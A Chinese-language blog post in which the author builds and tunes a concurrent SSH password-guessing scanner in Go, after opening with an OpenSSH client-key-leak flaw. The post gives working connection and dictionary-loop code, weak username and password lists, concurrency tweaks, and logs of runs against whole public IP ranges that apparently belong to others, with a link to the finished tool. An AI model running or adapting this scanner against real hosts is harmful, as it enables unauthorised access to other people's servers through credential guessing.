ssh scanner

OpenSSH

前段时间openssh爆了一个client端的漏洞,这个漏洞还是很有意思的,它可以获取登录的client的私钥,感觉很多小黑的肉鸡要贡献给其他人了。

Since version 5.4 (released on March 8, 2010), the OpenSSH client supports an undocumented feature called roaming: if the connection to an SSH server breaks unexpectedly, and if the server supports roaming as well, the client is able to reconnect to the server and resume the suspended SSH session.

漏洞详情,点击这里 http://www.seebug.org/vuldb/ssvid-90447

看了下自己VPS的openssh的version并不受影响,记的小时候(高中)那会,经常用x-scan、流光扫描器在网吧扫漏洞,时过境迁,这些项目已经没有人维护了,而且经常被人植入后门,是不是自己可以实现一个简单的呢,而且工作上也有可能用的到,说干就干。

原理

之前因为工作需要,自己写过一个批量连接ssh,执行命令的工具。现在看来写的不是很好,也没有一直维护,后来遇见了一个哥们儿写了个dssh,还是不错的,做了很多优化,可惜目前没有开源。

扫描器是一种工具,接受用户的变量,尽可能的快速的完成扫面任务,暴力破解什么的太不靠谱了(主要是计算资源有限),我更喜欢社工,于是打算让扫描器接受几个指定的字典来进行任务,当然一个完全的字典就相当于暴力破解了,其实和x-scan是一样。

在golang里面有一个官方的package可以处理ssh相关的事情,golang.org/x/crypto/ssh 这个包真的很方便,ssh请求处理他都可以搞定,你甚至可以拿它来写一个ssh蜜罐。和之前写的ssh-tooldssh一样,官方的这个包并不支持ssh连接时的超时时间自定义,这对于一个高性能的东西是很蠢的,于是自己基于官方的ssh lib做了修改,修改后的lib地址:github.com/oiooj/ssh,下面是连接主机的函数,如果连接上主机后,执行一个ls命令进行测试。


func connect(host, port, username, password string) {
	hostport := fmt.Sprintf("%s:%s", host, port)
	client, session, err := connectToHost(username, password, hostport)
	if err != nil {
		logger.Printf("connect [%s] failed: [%s]", host, err)
		return
	}
	_, err = session.CombinedOutput("ls")
	if err != nil {
		logger.Printf("exec command failed: %s", err)
		return
	}
	logger.Printf("connect [%s] [%s] [%s] success !!! ", host, username, password)
	client.Close()
}


func connectToHost(user, pass, host string) (*ssh.Client, *ssh.Session, error) {
	sshConfig := &ssh.ClientConfig{
		User: user,
		Auth: []ssh.AuthMethod{ssh.Password(pass)},
	}
	// set timeout
	client, err := ssh.Dial("tcp", host, sshConfig, timeout)
	if err != nil {
		return nil, nil, err
	}
	session, err := client.NewSession()
	if err != nil {
		client.Close()
		return nil, nil, err
	}
	return client, session, nil
}

					

性能

原理很简单,就是调用一个支持超时的ssh client连接主机,现在要做的是怎么提高他们的性能。首先肯定要启用并发。


runtime.GOMAXPROCS(runtime.NumCPU())

		...
		for _, ip := range ips {
			for _, username := range user_dic {
				for _, password := range pass_dic {
					wg.Add(1)
					go func(host, port, username, password string) {
						defer wg.Done()
						hostport := fmt.Sprintf("%s:%s", host, port)
						client, session, err := connectToHost(username, password, hostport)
						...


[SCAN] 2016/01/24 02:47:09 connect [123.59.74.245] failed: [dial tcp 123.59.74.245:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.250] failed: [dial tcp 123.59.74.250:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.245] failed: [dial tcp 123.59.74.245:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.245] failed: [dial tcp 123.59.74.245:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.250] failed: [dial tcp 123.59.74.250:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.250] failed: [dial tcp 123.59.74.250:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.249] failed: [dial tcp 123.59.74.249:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.250] failed: [dial tcp 123.59.74.250:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.252] failed: [dial tcp 123.59.74.252:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.250] failed: [dial tcp 123.59.74.250:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.252] failed: [dial tcp 123.59.74.252:22: too many open files]
[SCAN] 2016/01/24 02:47:09 connect [123.59.74.251] failed: [dial tcp 123.59.74.251:22: too many open files]

报了上面的too many open files错误,看来并发数要控制下,不然我的MBA hold不住,对了,我把我的字典贴下,后面都用这个配置进行对比了:

Sosaras-Air:src Sosara$ cat ip.log 
209.141.58.0/24
123.59.74.0/24

Sosaras-Air:src Sosara$ cat user.log 
root
admin

Sosaras-Air:src Sosara$ cat pass.log 
123456
root
test
qwer

这样的话,一共会跑 254*254*2*4 = 516128次登录尝试

控制

我添加一个配置项:concurrence 并发数。改进如下:


		timeout := time.Duration(3) * time.Second
		concurrence := 100
		...
		concurrenceLimit := 0
		for _, ip := range ips {
			for _, username := range user_dic {
				for _, password := range pass_dic {
					if concurrenceLimit > concurrence {
						time.Sleep(timeout)
					}
					concurrenceLimit++
					wg.Add(1)
					go func(host, port, username, password string) {
						defer wg.Done()
						hostport := fmt.Sprintf("%s:%s", host, port)
						client, session, err := connectToHost(username, password, hostport)
						...
						client, err := ssh.Dial("tcp", host, sshConfig, timeout)
						...

设置并发数 100,这里需要注意的是 当启动的协程数大于100时,会sleep ssh连接的timeout时间,也就是说,sleep完之后,当前的协程数肯定小余100.

总共跑了 100多分钟才跑完,雪崩!!

优化

仔细想想,这里的sleep好蠢,因为不是所有的协程都会timeout,所以同一时间的协程数就不会跑到100,于是对于控制这块要改进下:

		var (
			timeout  = time.Duration(3) * time.Second
			checktimeout  = time.Duration(1) * time.Second
			concurrence = 100
			wg       sync.WaitGroup
			mu       sync.RWMutex
		}
		
		...
		
		for _, ip := range ips {
			for _, username := range user_dic {
				for _, password := range pass_dic {
					if concurrenceLimit > concurrence {
						for{
							time.Sleep(checktimeout)
							if concurrenceLimit < concurrence {
								break
							}
						}
					}
					mu.Lock()
					concurrenceLimit++
					mu.Unlock()
					wg.Add(1)
					go func(host, port, username, password string) {
						defer func(){
							wg.Done()
							mu.Lock()
							concurrenceLimit--
							mu.Unlock()
						}()
						hostport := fmt.Sprintf("%s:%s", host, port)
						client, session, err := connectToHost(username, password, hostport)
						...

结果如下:


[SCAN] 2016/01/24 11:19:20 Total time : 157.329902753 seconds

缩短到了 157 秒!

看了看输出的log:


[SCAN] 2016/01/24 11:19:07 connect [123.59.74.203] failed: [dial tcp 123.59.74.203:22: connection refused]
[SCAN] 2016/01/24 11:19:07 connect [123.59.74.203] failed: [dial tcp 123.59.74.203:22: connection refused]
[SCAN] 2016/01/24 11:19:07 connect [123.59.74.203] failed: [dial tcp 123.59.74.203:22: connection refused]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.198] failed: [dial tcp 123.59.74.198:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.198] failed: [dial tcp 123.59.74.198:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.202] failed: [dial tcp 123.59.74.202:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.197] failed: [dial tcp 123.59.74.197:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.197] failed: [dial tcp 123.59.74.197:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.198] failed: [dial tcp 123.59.74.198:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.198] failed: [dial tcp 123.59.74.198:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.197] failed: [dial tcp 123.59.74.197:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.198] failed: [dial tcp 123.59.74.198:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.198] failed: [dial tcp 123.59.74.198:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.197] failed: [dial tcp 123.59.74.197:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.202] failed: [dial tcp 123.59.74.202:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.198] failed: [dial tcp 123.59.74.198:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.197] failed: [dial tcp 123.59.74.197:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.197] failed: [dial tcp 123.59.74.197:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.197] failed: [dial tcp 123.59.74.197:22: i/o timeout]
[SCAN] 2016/01/24 11:19:08 connect [123.59.74.197] failed: [dial tcp 123.59.74.197:22: i/o timeout]

对于这种大部分的timeout,我们只尝试一次就行了,后面的用户名和密码直接就跳过,这样肯定会大大节省时间的。于是继续改进:


[SCAN] 2016/01/24 11:37:56 connect [123.59.74.229] failed: [dial tcp 123.59.74.229:22: connection refused]
[SCAN] 2016/01/24 11:37:56 connect [123.59.74.227] failed: [dial tcp 123.59.74.227:22: connection refused]
[SCAN] 2016/01/24 11:37:57 connect [123.59.74.221] failed: [dial tcp 123.59.74.221:22: i/o timeout]
[SCAN] 2016/01/24 11:37:57 connect [123.59.74.221] failed: [dial tcp 123.59.74.221:22: i/o timeout]
[SCAN] 2016/01/24 11:37:57 connect [123.59.74.221] failed: [dial tcp 123.59.74.221:22: i/o timeout]
[SCAN] 2016/01/24 11:37:57 connect [123.59.74.221] failed: [dial tcp 123.59.74.221:22: i/o timeout]
[SCAN] 2016/01/24 11:37:57 connect [123.59.74.221] failed: [dial tcp 123.59.74.221:22: i/o timeout]
[SCAN] 2016/01/24 11:37:57 connect [123.59.74.221] failed: [dial tcp 123.59.74.221:22: i/o timeout]
[SCAN] 2016/01/24 11:37:57 connect [123.59.74.221] failed: [dial tcp 123.59.74.221:22: i/o timeout]
[SCAN] 2016/01/24 11:37:57 connect [123.59.74.221] failed: [dial tcp 123.59.74.221:22: i/o timeout]

咦, 还是有啊,怎么回事,看了下代码,我的最上层是for ip,其次是 for user,最后for pass,这样的话其实同一个IP的大部分协程已经启动了,毕竟设置的timeout有3s的时间呢,所以等第一个timout的报错出来 3s 的时间内同一个IP的尝试已经全部启动完了,于是尝试把IP的for循环放到最下层,在字典量非常大的时候性能应该非常好。

成果

demo地址:https://gist.github.com/oiooj/ebf4989879a4ceb58d62